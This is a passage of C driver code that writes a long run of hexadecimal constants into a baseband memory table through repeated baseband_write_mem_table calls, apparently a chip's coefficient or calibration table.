baseband_write_mem_table(NULL, (uint32_t)0xa19, (uint32_t)0x804bddb);
baseband_write_mem_table(NULL, (uint32_t)0xa1a, (uint32_t)0xc781cb7);
baseband_write_mem_table(NULL, (uint32_t)0xa1b, (uint32_t)0x1f10b52);
baseband_write_mem_table(NULL, (uint32_t)0xa1c, (uint32_t)0xeceb321);
baseband_write_mem_table(NULL, (uint32_t)0xa1d, (uint32_t)0x8007f7f);
baseband_write_mem_table(NULL, (uint32_t)0xa1e, (uint32_t)0xcb31d26);
baseband_write_mem_table(NULL, (uint32_t)0xa1f, (uint32_t)0x1fbcb34);
baseband_write_mem_table(NULL, (uint32_t)0xa20, (uint32_t)0xe97337c);
baseband_write_mem_table(NULL, (uint32_t)0xa21, (uint32_t)0x8014125);
baseband_write_mem_table(NULL, (uint32_t)0xa22, (uint32_t)0xcef1d8e);
baseband_write_mem_table(NULL, (uint32_t)0xa23, (uint32_t)0x2068b15);
baseband_write_mem_table(NULL, (uint32_t)0xa24, (uint32_t)0xe6133e6);
baseband_write_mem_table(NULL, (uint32_t)0xa25, (uint32_t)0x807c2cb);
baseband_write_mem_table(NULL, (uint32_t)0xa26, (uint32_t)0xd2c1def);
baseband_write_mem_table(NULL, (uint32_t)0xa27, (uint32_t)0x2114af5);
baseband_write_mem_table(NULL, (uint32_t)0xa28, (uint32_t)0xe2d345f);
baseband_write_mem_table(NULL, (uint32_t)0xa29, (uint32_t)0x813c46f);
baseband_write_mem_table(NULL, (uint32_t)0xa2a, (uint32_t)0xd69de48);
baseband_write_mem_table(NULL, (uint32_t)0xa2b, (uint32_t)0x21bcad5);
baseband_write_mem_table(NULL, (uint32_t)0xa2c, (uint32_t)0xdfb34e7);
baseband_write_mem_table(NULL, (uint32_t)0xa2d, (uint32_t)0x8254612);
baseband_write_mem_table(NULL, (uint32_t)0xa2e, (uint32_t)0xda85e99);
baseband_write_mem_table(NULL, (uint32_t)0xa2f, (uint32_t)0x2264ab4);
baseband_write_mem_table(NULL, (uint32_t)0xa30, (uint32_t)0xdcb757c);
baseband_write_mem_table(NULL, (uint32_t)0xa31, (uint32_t)0x83c07b1);
baseband_write_mem_table(NULL, (uint32_t)0xa32, (uint32_t)0xde79ee2);
baseband_write_mem_table(NULL, (uint32_t)0xa33, (uint32_t)0x230ca92);
baseband_write_mem_table(NULL, (uint32_t)0xa34, (uint32_t)0xd9e761e);
baseband_write_mem_table(NULL, (uint32_t)0xa35, (uint32_t)0x858494b);
baseband_write_mem_table(NULL, (uint32_t)0xa36, (uint32_t)0xe279f23);
baseband_write_mem_table(NULL, (uint32_t)0xa37, (uint32_t)0x23b0a6f);
baseband_write_mem_table(NULL, (uint32_t)0xa38, (uint32_t)0xd7436cc);
baseband_write_mem_table(NULL, (uint32_t)0xa39, (uint32_t)0x87a0ae0);
baseband_write_mem_table(NULL, (uint32_t)0xa3a, (uint32_t)0xe681f5c);
baseband_write_mem_table(NULL, (uint32_t)0xa3b, (uint32_t)0x2450a4c);
baseband_write_mem_table(NULL, (uint32_t)0xa3c, (uint32_t)0xd4cf786);
baseband_write_mem_table(NULL, (uint32_t)0xa3d, (uint32_t)0x8a10c6f);
baseband_write_mem_table(NULL, (uint32_t)0xa3e, (uint32_t)0xea95f8c);
baseband_write_mem_table(NULL, (uint32_t)0xa3f, (uint32_t)0x24f0a28);
baseband_write_mem_table(NULL, (uint32_t)0xa40, (uint32_t)0xd28f84b);
baseband_write_mem_table(NULL, (uint32_t)0xa41, (uint32_t)0x8cd0df5);
baseband_write_mem_table(NULL, (uint32_t)0xa42, (uint32_t)0xeeadfb5);
baseband_write_mem_table(NULL, (uint32_t)0xa43, (uint32_t)0x2590a04);
baseband_write_mem_table(NULL, (uint32_t)0xa44, (uint32_t)0xd08791a);
baseband_write_mem_table(NULL, (uint32_t)0xa45, (uint32_t)0x8fe4f72);
baseband_write_mem_table(NULL, (uint32_t)0xa46, (uint32_t)0xf2d1fd4);
baseband_write_mem_table(NULL, (uint32_t)0xa47, (uint32_t)0x262c9df);
baseband_write_mem_table(NULL, (uint32_t)0xa48, (uint32_t)0xcebb9f2);
baseband_write_mem_table(NULL, (uint32_t)0xa49, (uint32_t)0x934d0e5);
baseband_write_mem_table(NULL, (uint32_t)0xa4a, (uint32_t)0xf6f5fec);
baseband_write_mem_table(NULL, (uint32_t)0xa4b, (uint32_t)0x26c89b9);
baseband_write_mem_table(NULL, (uint32_t)0xa4c, (uint32_t)0xcd2bad1);
baseband_write_mem_table(NULL, (uint32_t)0xa4d, (uint32_t)0x970124c);
baseband_write_mem_table(NULL, (uint32_t)0xa4e, (uint32_t)0xfb21ffa);
baseband_write_mem_table(NULL, (uint32_t)0xa4f, (uint32_t)0x2760992);
baseband_write_mem_table(NULL, (uint32_t)0xa50, (uint32_t)0xcbd7bb8);
baseband_write_mem_table(NULL, (uint32_t)0xa51, (uint32_t)0x9afd3a8);
baseband_write_mem_table(NULL, (uint32_t)0xa52, (uint32_t)0xff4dfff);
baseband_write_mem_table(NULL, (uint32_t)0xa53, (uint32_t)0x27f496b);
baseband_write_mem_table(NULL, (uint32_t)0xa54, (uint32_t)0xcac3ca4);
baseband_write_mem_table(NULL, (uint32_t)0xa55, (uint32_t)0x9f494f6);
baseband_write_mem_table(NULL, (uint32_t)0xa56, (uint32_t)0x37dffd);
baseband_write_mem_table(NULL, (uint32_t)0xa57, (uint32_t)0x2888943);
baseband_write_mem_table(NULL, (uint32_t)0xa58, (uint32_t)0xc9f3d95);
baseband_write_mem_table(NULL, (uint32_t)0xa59, (uint32_t)0xa3d9635);
baseband_write_mem_table(NULL, (uint32_t)0xa5a, (uint32_t)0x7adff1);
baseband_write_mem_table(NULL, (uint32_t)0xa5b, (uint32_t)0x291c91a);
baseband_write_mem_table(NULL, (uint32_t)0xa5c, (uint32_t)0xc96be89);
baseband_write_mem_table(NULL, (uint32_t)0xa5d, (uint32_t)0xa8ad765);
baseband_write_mem_table(NULL, (uint32_t)0xa5e, (uint32_t)0xbddfdd);
baseband_write_mem_table(NULL, (uint32_t)0xa5f, (uint32_t)0x29ac8f1);
baseband_write_mem_table(NULL, (uint32_t)0xa60, (uint32_t)0xc923f7f);
baseband_write_mem_table(NULL, (uint32_t)0xa61, (uint32_t)0xadc1885);
baseband_write_mem_table(NULL, (uint32_t)0xa62, (uint32_t)0x100dfbf);
baseband_write_mem_table(NULL, (uint32_t)0xa63, (uint32_t)0x2a388c8);
baseband_write_mem_table(NULL, (uint32_t)0xa64, (uint32_t)0xc91c077);
baseband_write_mem_table(NULL, (uint32_t)0xa65, (uint32_t)0xb311993);
baseband_write_mem_table(NULL, (uint32_t)0xa66, (uint32_t)0x1439f99);
baseband_write_mem_table(NULL, (uint32_t)0xa67, (uint32_t)0x2ac489d);
baseband_write_mem_table(NULL, (uint32_t)0xa68, (uint32_t)0xc96416e);
baseband_write_mem_table(NULL, (uint32_t)0xa69, (uint32_t)0xb89da90);
baseband_write_mem_table(NULL, (uint32_t)0xa6a, (uint32_t)0x1861f6a);
baseband_write_mem_table(NULL, (uint32_t)0xa6b, (uint32_t)0x2b4c872);
baseband_write_mem_table(NULL, (uint32_t)0xa6c, (uint32_t)0xc9ec264);
baseband_write_mem_table(NULL, (uint32_t)0xa6d, (uint32_t)0xbe61b79);
baseband_write_mem_table(NULL, (uint32_t)0xa6e, (uint32_t)0x1c81f32);
baseband_write_mem_table(NULL, (uint32_t)0xa6f, (uint32_t)0x2bd0847);
baseband_write_mem_table(NULL, (uint32_t)0xa70, (uint32_t)0xcabc357);
baseband_write_mem_table(NULL, (uint32_t)0xa71, (uint32_t)0xc451c4f);
baseband_write_mem_table(NULL, (uint32_t)0xa72, (uint32_t)0x209def2);
baseband_write_mem_table(NULL, (uint32_t)0xa73, (uint32_t)0x2c5481b);
baseband_write_mem_table(NULL, (uint32_t)0xa74, (uint32_t)0xcbd0446);
baseband_write_mem_table(NULL, (uint32_t)0xa75, (uint32_t)0xca71d10);
baseband_write_mem_table(NULL, (uint32_t)0xa76, (uint32_t)0x24b1ea8);
baseband_write_mem_table(NULL, (uint32_t)0xa77, (uint32_t)0x2cd47ee);
baseband_write_mem_table(NULL, (uint32_t)0xa78, (uint32_t)0xcd28530);
baseband_write_mem_table(NULL, (uint32_t)0xa79, (uint32_t)0xd0bddbd);
baseband_write_mem_table(NULL, (uint32_t)0xa7a, (uint32_t)0x28bde56);
baseband_write_mem_table(NULL, (uint32_t)0xa7b, (uint32_t)0x2d507c1);
baseband_write_mem_table(NULL, (uint32_t)0xa7c, (uint32_t)0xcec0613);
baseband_write_mem_table(NULL, (uint32_t)0xa7d, (uint32_t)0xd72de54);
baseband_write_mem_table(NULL, (uint32_t)0xa7e, (uint32_t)0x2cbddfb);
baseband_write_mem_table(NULL, (uint32_t)0xa7f, (uint32_t)0x2dcc793);
baseband_write_mem_table(NULL, (uint32_t)0xa80, (uint32_t)0xd09c6ef);
baseband_write_mem_table(NULL, (uint32_t)0xa81, (uint32_t)0xddb9ed5);
baseband_write_mem_table(NULL, (uint32_t)0xa82, (uint32_t)0x30b5d98);
baseband_write_mem_table(NULL, (uint32_t)0xa83, (uint32_t)0x2e44765);
baseband_write_mem_table(NULL, (uint32_t)0xa84, (uint32_t)0xd2b47c3);
baseband_write_mem_table(NULL, (uint32_t)0xa85, (uint32_t)0xe465f3f);
baseband_write_mem_table(NULL, (uint32_t)0xa86, (uint32_t)0x349dd2c);
baseband_write_mem_table(NULL, (uint32_t)0xa87, (uint32_t)0x2ebc736);
baseband_write_mem_table(NULL, (uint32_t)0xa88, (uint32_t)0xd50888c);
baseband_write_mem_table(NULL, (uint32_t)0xa89, (uint32_t)0xeb25f92);
baseband_write_mem_table(NULL, (uint32_t)0xa8a, (uint32_t)0x3879cb8);
baseband_write_mem_table(NULL, (uint32_t)0xa8b, (uint32_t)0x2f30706);
baseband_write_mem_table(NULL, (uint32_t)0xa8c, (uint32_t)0xd79494b);
baseband_write_mem_table(NULL, (uint32_t)0xa8d, (uint32_t)0xf1f9fcf);
baseband_write_mem_table(NULL, (uint32_t)0xa8e, (uint32_t)0x3c45c3b);
baseband_write_mem_table(NULL, (uint32_t)0xa8f, (uint32_t)0x2fa06d7);
baseband_write_mem_table(NULL, (uint32_t)0xa90, (uint32_t)0xda549fd);
baseband_write_mem_table(NULL, (uint32_t)0xa91, (uint32_t)0xf8d5ff3);
baseband_write_mem_table(NULL, (uint32_t)0xa92, (uint32_t)0x4001bb6);
baseband_write_mem_table(NULL, (uint32_t)0xa93, (uint32_t)0x300c6a6);
baseband_write_mem_table(NULL, (uint32_t)0xa94, (uint32_t)0xdd48aa3);
baseband_write_mem_table(NULL, (uint32_t)0xa95, (uint32_t)0xffbdfff);
baseband_write_mem_table(NULL, (uint32_t)0xa96, (uint32_t)0x43adb2a);
baseband_write_mem_table(NULL, (uint32_t)0xa97, (uint32_t)0x3074675);
baseband_write_mem_table(NULL, (uint32_t)0xa98, (uint32_t)0xe06cb3b);
baseband_write_mem_table(NULL, (uint32_t)0xa99, (uint32_t)0x6a1ff5);
baseband_write_mem_table(NULL, (uint32_t)0xa9a, (uint32_t)0x4745a95);
baseband_write_mem_table(NULL, (uint32_t)0xa9b, (uint32_t)0x30dc644);
baseband_write_mem_table(NULL, (uint32_t)0xa9c, (uint32_t)0xe3b8bc4);
baseband_write_mem_table(NULL, (uint32_t)0xa9d, (uint32_t)0xd89fd2);
baseband_write_mem_table(NULL, (uint32_t)0xa9e, (uint32_t)0x4ac99f8);
baseband_write_mem_table(NULL, (uint32_t)0xa9f, (uint32_t)0x3140612);
baseband_write_mem_table(NULL, (uint32_t)0xaa0, (uint32_t)0xe728c3e);
baseband_write_mem_table(NULL, (uint32_t)0xaa1, (uint32_t)0x1465f97);
baseband_write_mem_table(NULL, (uint32_t)0xaa2, (uint32_t)0x4e3d954);
baseband_write_mem_table(NULL, (uint32_t)0xaa3, (uint32_t)0x31a05e0);
baseband_write_mem_table(NULL, (uint32_t)0xaa4, (uint32_t)0xeabcca8);
baseband_write_mem_table(NULL, (uint32_t)0xaa5, (uint32_t)0x1b31f45);
baseband_write_mem_table(NULL, (uint32_t)0xaa6, (uint32_t)0x51958a8);
baseband_write_mem_table(NULL, (uint32_t)0xaa7, (uint32_t)0x32005ae);
baseband_write_mem_table(NULL, (uint32_t)0xaa8, (uint32_t)0xee6cd02);
baseband_write_mem_table(NULL, (uint32_t)0xaa9, (uint32_t)0x21ededb);
baseband_write_mem_table(NULL, (uint32_t)0xaaa, (uint32_t)0x54d97f6);
baseband_write_mem_table(NULL, (uint32_t)0xaab, (uint32_t)0x325c57a);
baseband_write_mem_table(NULL, (uint32_t)0xaac, (uint32_t)0xf238d4a);
baseband_write_mem_table(NULL, (uint32_t)0xaad, (uint32_t)0x2891e5a);
baseband_write_mem_table(NULL, (uint32_t)0xaae, (uint32_t)0x580573b);
baseband_write_mem_table(NULL, (uint32_t)0xaaf, (uint32_t)0x32b0547);
baseband_write_mem_table(NULL, (uint32_t)0xab0, (uint32_t)0xf614d81);
baseband_write_mem_table(NULL, (uint32_t)0xab1, (uint32_t)0x2f19dc1);
baseband_write_mem_table(NULL, (uint32_t)0xab2, (uint32_t)0x5b1967b);
baseband_write_mem_table(NULL, (uint32_t)0xab3, (uint32_t)0x3308513);
baseband_write_mem_table(NULL, (uint32_t)0xab4, (uint32_t)0xf9fcda5);
baseband_write_mem_table(NULL, (uint32_t)0xab5, (uint32_t)0x357dd13);
baseband_write_mem_table(NULL, (uint32_t)0xab6, (uint32_t)0x5e155b3);
baseband_write_mem_table(NULL, (uint32_t)0xab7, (uint32_t)0x33584df);
baseband_write_mem_table(NULL, (uint32_t)0xab8, (uint32_t)0xfdf0db8);
baseband_write_mem_table(NULL, (uint32_t)0xab9, (uint32_t)0x3bb9c4e);
baseband_write_mem_table(NULL, (uint32_t)0xaba, (uint32_t)0x60f54e5);
baseband_write_mem_table(NULL, (uint32_t)0xabb, (uint32_t)0x33a44aa);
baseband_write_mem_table(NULL, (uint32_t)0xabc, (uint32_t)0x1e8db8);
baseband_write_mem_table(NULL, (uint32_t)0xabd, (uint32_t)0x41cdb73);
baseband_write_mem_table(NULL, (uint32_t)0xabe, (uint32_t)0x63b5411);
baseband_write_mem_table(NULL, (uint32_t)0xabf, (uint32_t)0x33f0476);
baseband_write_mem_table(NULL, (uint32_t)0xac0, (uint32_t)0x5dcda6);
baseband_write_mem_table(NULL, (uint32_t)0xac1, (uint32_t)0x47ada83);
baseband_write_mem_table(NULL, (uint32_t)0xac2, (uint32_t)0x665d336);
baseband_write_mem_table(NULL, (uint32_t)0xac3, (uint32_t)0x3438440);
baseband_write_mem_table(NULL, (uint32_t)0xac4, (uint32_t)0x9c8d82);
baseband_write_mem_table(NULL, (uint32_t)0xac5, (uint32_t)0x4d59980);
baseband_write_mem_table(NULL, (uint32_t)0xac6, (uint32_t)0x68e9256);
baseband_write_mem_table(NULL, (uint32_t)0xac7, (uint32_t)0x347c40b);
baseband_write_mem_table(NULL, (uint32_t)0xac8, (uint32_t)0xda8d4c);
baseband_write_mem_table(NULL, (uint32_t)0xac9, (uint32_t)0x52c9868);
baseband_write_mem_table(NULL, (uint32_t)0xaca, (uint32_t)0x6b51171);
baseband_write_mem_table(NULL, (uint32_t)0xacb, (uint32_t)0x34bc3d5);
baseband_write_mem_table(NULL, (uint32_t)0xacc, (uint32_t)0x1178d04);
baseband_write_mem_table(NULL, (uint32_t)0xacd, (uint32_t)0x57fd73e);
baseband_write_mem_table(NULL, (uint32_t)0xace, (uint32_t)0x6d9d086);
baseband_write_mem_table(NULL, (uint32_t)0xacf, (uint32_t)0x34f839f);
baseband_write_mem_table(NULL, (uint32_t)0xad0, (uint32_t)0x1530caa);
baseband_write_mem_table(NULL, (uint32_t)0xad1, (uint32_t)0x5ced602);
baseband_write_mem_table(NULL, (uint32_t)0xad2, (uint32_t)0x6fc8f96);
baseband_write_mem_table(NULL, (uint32_t)0xad3, (uint32_t)0x3534368);
baseband_write_mem_table(NULL, (uint32_t)0xad4, (uint32_t)0x18ccc40);
baseband_write_mem_table(NULL, (uint32_t)0xad5, (uint32_t)0x61994b5);
baseband_write_mem_table(NULL, (uint32_t)0xad6, (uint32_t)0x71d4ea2);
baseband_write_mem_table(NULL, (uint32_t)0xad7, (uint32_t)0x3568332);
baseband_write_mem_table(NULL, (uint32_t)0xad8, (uint32_t)0x1c48bc4);
baseband_write_mem_table(NULL, (uint32_t)0xad9, (uint32_t)0x65f9358);
baseband_write_mem_table(NULL, (uint32_t)0xada, (uint32_t)0x73c0da9);
baseband_write_mem_table(NULL, (uint32_t)0xadb, (uint32_t)0x359c2fb);
baseband_write_mem_table(NULL, (uint32_t)0xadc, (uint32_t)0x1fa0b39);
baseband_write_mem_table(NULL, (uint32_t)0xadd, (uint32_t)0x6a0d1ec);
baseband_write_mem_table(NULL, (uint32_t)0xade, (uint32_t)0x7588cac);
baseband_write_mem_table(NULL, (uint32_t)0xadf, (uint32_t)0x35cc2c4);
baseband_write_mem_table(NULL, (uint32_t)0xae0, (uint32_t)0x22cca9f);
baseband_write_mem_table(NULL, (uint32_t)0xae1, (uint32_t)0x6dcd072);
baseband_write_mem_table(NULL, (uint32_t)0xae2, (uint32_t)0x7730bab);
baseband_write_mem_table(NULL, (uint32_t)0xae3, (uint32_t)0x35f428c);
baseband_write_mem_table(NULL, (uint32_t)0xae4, (uint32_t)0x25c89f6);
baseband_write_mem_table(NULL, (uint32_t)0xae5, (uint32_t)0x713ceec);
baseband_write_mem_table(NULL, (uint32_t)0xae6, (uint32_t)0x78b4aa7);
baseband_write_mem_table(NULL, (uint32_t)0xae7, (uint32_t)0x361c255);
baseband_write_mem_table(NULL, (uint32_t)0xae8, (uint32_t)0x2894940);
baseband_write_mem_table(NULL, (uint32_t)0xae9, (uint32_t)0x7454d5a);
baseband_write_mem_table(NULL, (uint32_t)0xaea, (uint32_t)0x7a1499f);
baseband_write_mem_table(NULL, (uint32_t)0xaeb, (uint32_t)0x364421d);
baseband_write_mem_table(NULL, (uint32_t)0xaec, (uint32_t)0x2b2887e);
baseband_write_mem_table(NULL, (uint32_t)0xaed, (uint32_t)0x7714bbd);
baseband_write_mem_table(NULL, (uint32_t)0xaee, (uint32_t)0x7b50894);
baseband_write_mem_table(NULL, (uint32_t)0xaef, (uint32_t)0x36641e5);
baseband_write_mem_table(NULL, (uint32_t)0xaf0, (uint32_t)0x2d807af);
baseband_write_mem_table(NULL, (uint32_t)0xaf1, (uint32_t)0x7978a18);
baseband_write_mem_table(NULL, (uint32_t)0xaf2, (uint32_t)0x7c68787);
baseband_write_mem_table(NULL, (uint32_t)0xaf3, (uint32_t)0x36801ae);
baseband_write_mem_table(NULL, (uint32_t)0xaf4, (uint32_t)0x2f9c6d7);
baseband_write_mem_table(NULL, (uint32_t)0xaf5, (uint32_t)0x7b8086a);
baseband_write_mem_table(NULL, (uint32_t)0xaf6, (uint32_t)0x7d5c678);
baseband_write_mem_table(NULL, (uint32_t)0xaf7, (uint32_t)0x369c175);
baseband_write_mem_table(NULL, (uint32_t)0xaf8, (uint32_t)0x317c5f5);
baseband_write_mem_table(NULL, (uint32_t)0xaf9, (uint32_t)0x7d286b6);
baseband_write_mem_table(NULL, (uint32_t)0xafa, (uint32_t)0x7e2c566);
baseband_write_mem_table(NULL, (uint32_t)0xafb, (uint32_t)0x36b013d);
baseband_write_mem_table(NULL, (uint32_t)0xafc, (uint32_t)0x331450b);
baseband_write_mem_table(NULL, (uint32_t)0xafd, (uint32_t)0x7e704fd);
baseband_write_mem_table(NULL, (uint32_t)0xafe, (uint32_t)0x7ed4453);
baseband_write_mem_table(NULL, (uint32_t)0xaff, (uint32_t)0x36c4105);
baseband_write_mem_table(NULL, (uint32_t)0xb00, (uint32_t)0x346841a);
baseband_write_mem_table(NULL, (uint32_t)0xb01, (uint32_t)0x7f5833f);
baseband_write_mem_table(NULL, (uint32_t)0xb02, (uint32_t)0x7f5833f);
baseband_write_mem_table(NULL, (uint32_t)0xb03, (uint32_t)0x36d40cd);
baseband_write_mem_table(NULL, (uint32_t)0xb04, (uint32_t)0x3574323);
baseband_write_mem_table(NULL, (uint32_t)0xb05, (uint32_t)0x7fdc180);
baseband_write_mem_table(NULL, (uint32_t)0xb06, (uint32_t)0x7fb4229);
baseband_write_mem_table(NULL, (uint32_t)0xb07, (uint32_t)0x36dc094);
baseband_write_mem_table(NULL, (uint32_t)0xb08, (uint32_t)0x363c229);
baseband_write_mem_table(NULL, (uint32_t)0xb09, (uint32_t)0x7ffffbf);
baseband_write_mem_table(NULL, (uint32_t)0xb0a, (uint32_t)0x7fec113);
baseband_write_mem_table(NULL, (uint32_t)0xb0b, (uint32_t)0x36e405c);
baseband_write_mem_table(NULL, (uint32_t)0xb0c, (uint32_t)0x36b812b);
baseband_write_mem_table(NULL, (uint32_t)0xb0d, (uint32_t)0x7fc3dfe);
baseband_write_mem_table(NULL, (uint32_t)0xb0e, (uint32_t)0x7fffffd);
baseband_write_mem_table(NULL, (uint32_t)0xb0f, (uint32_t)0x36e8023);
baseband_write_mem_table(NULL, (uint32_t)0xb10, (uint32_t)0x36e802c);
baseband_write_mem_table(NULL, (uint32_t)0xb11, (uint32_t)0x7f1fc3f);
baseband_write_mem_table(NULL, (uint32_t)0xb12, (uint32_t)0x7fefee6);
baseband_write_mem_table(NULL, (uint32_t)0xb13, (uint32_t)0x36ebfeb);
baseband_write_mem_table(NULL, (uint32_t)0xb14, (uint32_t)0x36d3f2c);
baseband_write_mem_table(NULL, (uint32_t)0xb15, (uint32_t)0x7e1ba82);
baseband_write_mem_table(NULL, (uint32_t)0xb16, (uint32_t)0x7fb7dd0);
baseband_write_mem_table(NULL, (uint32_t)0xb17, (uint32_t)0x36ebfb2);
baseband_write_mem_table(NULL, (uint32_t)0xb18, (uint32_t)0x366fe2e);
baseband_write_mem_table(NULL, (uint32_t)0xb19, (uint32_t)0x7cb78ca);
baseband_write_mem_table(NULL, (uint32_t)0xb1a, (uint32_t)0x7f57cbb);
baseband_write_mem_table(NULL, (uint32_t)0xb1b, (uint32_t)0x36e3f7a);
baseband_write_mem_table(NULL, (uint32_t)0xb1c, (uint32_t)0x35c3d32);
baseband_write_mem_table(NULL, (uint32_t)0xb1d, (uint32_t)0x7af3717);
baseband_write_mem_table(NULL, (uint32_t)0xb1e, (uint32_t)0x7ed3ba6);
baseband_write_mem_table(NULL, (uint32_t)0xb1f, (uint32_t)0x36d7f41);
baseband_write_mem_table(NULL, (uint32_t)0xb20, (uint32_t)0x34cfc3a);
baseband_write_mem_table(NULL, (uint32_t)0xb21, (uint32_t)0x78cf56c);
baseband_write_mem_table(NULL, (uint32_t)0xb22, (uint32_t)0x7e27a93);
baseband_write_mem_table(NULL, (uint32_t)0xb23, (uint32_t)0x36cbf09);
baseband_write_mem_table(NULL, (uint32_t)0xb24, (uint32_t)0x3393b47);
baseband_write_mem_table(NULL, (uint32_t)0xb25, (uint32_t)0x764f3c8);
baseband_write_mem_table(NULL, (uint32_t)0xb26, (uint32_t)0x7d5b982);
baseband_write_mem_table(NULL, (uint32_t)0xb27, (uint32_t)0x36b7ed0);
baseband_write_mem_table(NULL, (uint32_t)0xb28, (uint32_t)0x320fa5a);
baseband_write_mem_table(NULL, (uint32_t)0xb29, (uint32_t)0x737722e);
baseband_write_mem_table(NULL, (uint32_t)0xb2a, (uint32_t)0x7c63872);
baseband_write_mem_table(NULL, (uint32_t)0xb2b, (uint32_t)0x36a3e98);
baseband_write_mem_table(NULL, (uint32_t)0xb2c, (uint32_t)0x304b975);
baseband_write_mem_table(NULL, (uint32_t)0xb2d, (uint32_t)0x704309f);
baseband_write_mem_table(NULL, (uint32_t)0xb2e, (uint32_t)0x7b4b765);
baseband_write_mem_table(NULL, (uint32_t)0xb2f, (uint32_t)0x368be60);
baseband_write_mem_table(NULL, (uint32_t)0xb30, (uint32_t)0x2e43899);
baseband_write_mem_table(NULL, (uint32_t)0xb31, (uint32_t)0x6cbaf1b);
baseband_write_mem_table(NULL, (uint32_t)0xb32, (uint32_t)0x7a0f65a);
baseband_write_mem_table(NULL, (uint32_t)0xb33, (uint32_t)0x366fe28);
baseband_write_mem_table(NULL, (uint32_t)0xb34, (uint32_t)0x2bff7c8);
baseband_write_mem_table(NULL, (uint32_t)0xb35, (uint32_t)0x68dada5);
baseband_write_mem_table(NULL, (uint32_t)0xb36, (uint32_t)0x78ab553);
baseband_write_mem_table(NULL, (uint32_t)0xb37, (uint32_t)0x364fdf0);
baseband_write_mem_table(NULL, (uint32_t)0xb38, (uint32_t)0x297f701);
baseband_write_mem_table(NULL, (uint32_t)0xb39, (uint32_t)0x64aec3d);
baseband_write_mem_table(NULL, (uint32_t)0xb3a, (uint32_t)0x772744e);
baseband_write_mem_table(NULL, (uint32_t)0xb3b, (uint32_t)0x362bdb8);
baseband_write_mem_table(NULL, (uint32_t)0xb3c, (uint32_t)0x26c7646);
baseband_write_mem_table(NULL, (uint32_t)0xb3d, (uint32_t)0x6036ae4);
baseband_write_mem_table(NULL, (uint32_t)0xb3e, (uint32_t)0x757f34d);
baseband_write_mem_table(NULL, (uint32_t)0xb3f, (uint32_t)0x3603d81);
baseband_write_mem_table(NULL, (uint32_t)0xb40, (uint32_t)0x23db599);
baseband_write_mem_table(NULL, (uint32_t)0xb41, (uint32_t)0x5b7299b);
baseband_write_mem_table(NULL, (uint32_t)0xb42, (uint32_t)0x73b7250);
baseband_write_mem_table(NULL, (uint32_t)0xb43, (uint32_t)0x35d7d49);
baseband_write_mem_table(NULL, (uint32_t)0xb44, (uint32_t)0x20bb4fa);
baseband_write_mem_table(NULL, (uint32_t)0xb45, (uint32_t)0x566a864);
baseband_write_mem_table(NULL, (uint32_t)0xb46, (uint32_t)0x71cb157);
baseband_write_mem_table(NULL, (uint32_t)0xb47, (uint32_t)0x35abd12);
baseband_write_mem_table(NULL, (uint32_t)0xb48, (uint32_t)0x1d73469);
baseband_write_mem_table(NULL, (uint32_t)0xb49, (uint32_t)0x512273f);
baseband_write_mem_table(NULL, (uint32_t)0xb4a, (uint32_t)0x6fbb062);
baseband_write_mem_table(NULL, (uint32_t)0xb4b, (uint32_t)0x3577cdb);
baseband_write_mem_table(NULL, (uint32_t)0xb4c, (uint32_t)0x1a073e9);
baseband_write_mem_table(NULL, (uint32_t)0xb4d, (uint32_t)0x4b9a62d);
baseband_write_mem_table(NULL, (uint32_t)0xb4e, (uint32_t)0x6d8ef72);
baseband_write_mem_table(NULL, (uint32_t)0xb4f, (uint32_t)0x3543ca5);
baseband_write_mem_table(NULL, (uint32_t)0xb50, (uint32_t)0x1673378);
baseband_write_mem_table(NULL, (uint32_t)0xb51, (uint32_t)0x45da52f);
baseband_write_mem_table(NULL, (uint32_t)0xb52, (uint32_t)0x6b3ee88);
baseband_write_mem_table(NULL, (uint32_t)0xb53, (uint32_t)0x350bc6e);
baseband_write_mem_table(NULL, (uint32_t)0xb54, (uint32_t)0x12c3319);
baseband_write_mem_table(NULL, (uint32_t)0xb55, (uint32_t)0x3fe6445);
baseband_write_mem_table(NULL, (uint32_t)0xb56, (uint32_t)0x68d2da2);
baseband_write_mem_table(NULL, (uint32_t)0xb57, (uint32_t)0x34cfc38);
baseband_write_mem_table(NULL, (uint32_t)0xb58, (uint32_t)0xefb2cb);
baseband_write_mem_table(NULL, (uint32_t)0xb59, (uint32_t)0x39be371);
baseband_write_mem_table(NULL, (uint32_t)0xb5a, (uint32_t)0x6646cc2);
baseband_write_mem_table(NULL, (uint32_t)0xb5b, (uint32_t)0x348fc02);
baseband_write_mem_table(NULL, (uint32_t)0xb5c, (uint32_t)0xb2328e);
baseband_write_mem_table(NULL, (uint32_t)0xb5d, (uint32_t)0x33722b2);
baseband_write_mem_table(NULL, (uint32_t)0xb5e, (uint32_t)0x639ebe7);
baseband_write_mem_table(NULL, (uint32_t)0xb5f, (uint32_t)0x344bbcc);
baseband_write_mem_table(NULL, (uint32_t)0xb60, (uint32_t)0x737264);
baseband_write_mem_table(NULL, (uint32_t)0xb61, (uint32_t)0x2cfa20a);
baseband_write_mem_table(NULL, (uint32_t)0xb62, (uint32_t)0x60dab13);
baseband_write_mem_table(NULL, (uint32_t)0xb63, (uint32_t)0x3403b97);
baseband_write_mem_table(NULL, (uint32_t)0xb64, (uint32_t)0x34724c);
baseband_write_mem_table(NULL, (uint32_t)0xb65, (uint32_t)0x2666179);
baseband_write_mem_table(NULL, (uint32_t)0xb66, (uint32_t)0x5df6a45);
baseband_write_mem_table(NULL, (uint32_t)0xb67, (uint32_t)0x33bbb62);
baseband_write_mem_table(NULL, (uint32_t)0xb68, (uint32_t)0xff4f246);
baseband_write_mem_table(NULL, (uint32_t)0xb69, (uint32_t)0x1fb20ff);
baseband_write_mem_table(NULL, (uint32_t)0xb6a, (uint32_t)0x5afa97d);
baseband_write_mem_table(NULL, (uint32_t)0xb6b, (uint32_t)0x336bb2d);
baseband_write_mem_table(NULL, (uint32_t)0xb6c, (uint32_t)0xfb5b252);
baseband_write_mem_table(NULL, (uint32_t)0xb6d, (uint32_t)0x18ea09d);
baseband_write_mem_table(NULL, (uint32_t)0xb6e, (uint32_t)0x57e68bc);
baseband_write_mem_table(NULL, (uint32_t)0xb6f, (uint32_t)0x331baf9);
baseband_write_mem_table(NULL, (uint32_t)0xb70, (uint32_t)0xf76f271);
baseband_write_mem_table(NULL, (uint32_t)0xb71, (uint32_t)0x120e052);
baseband_write_mem_table(NULL, (uint32_t)0xb72, (uint32_t)0x54b6802);
baseband_write_mem_table(NULL, (uint32_t)0xb73, (uint32_t)0x32c7ac5);
baseband_write_mem_table(NULL, (uint32_t)0xb74, (uint32_t)0xf38b2a1);
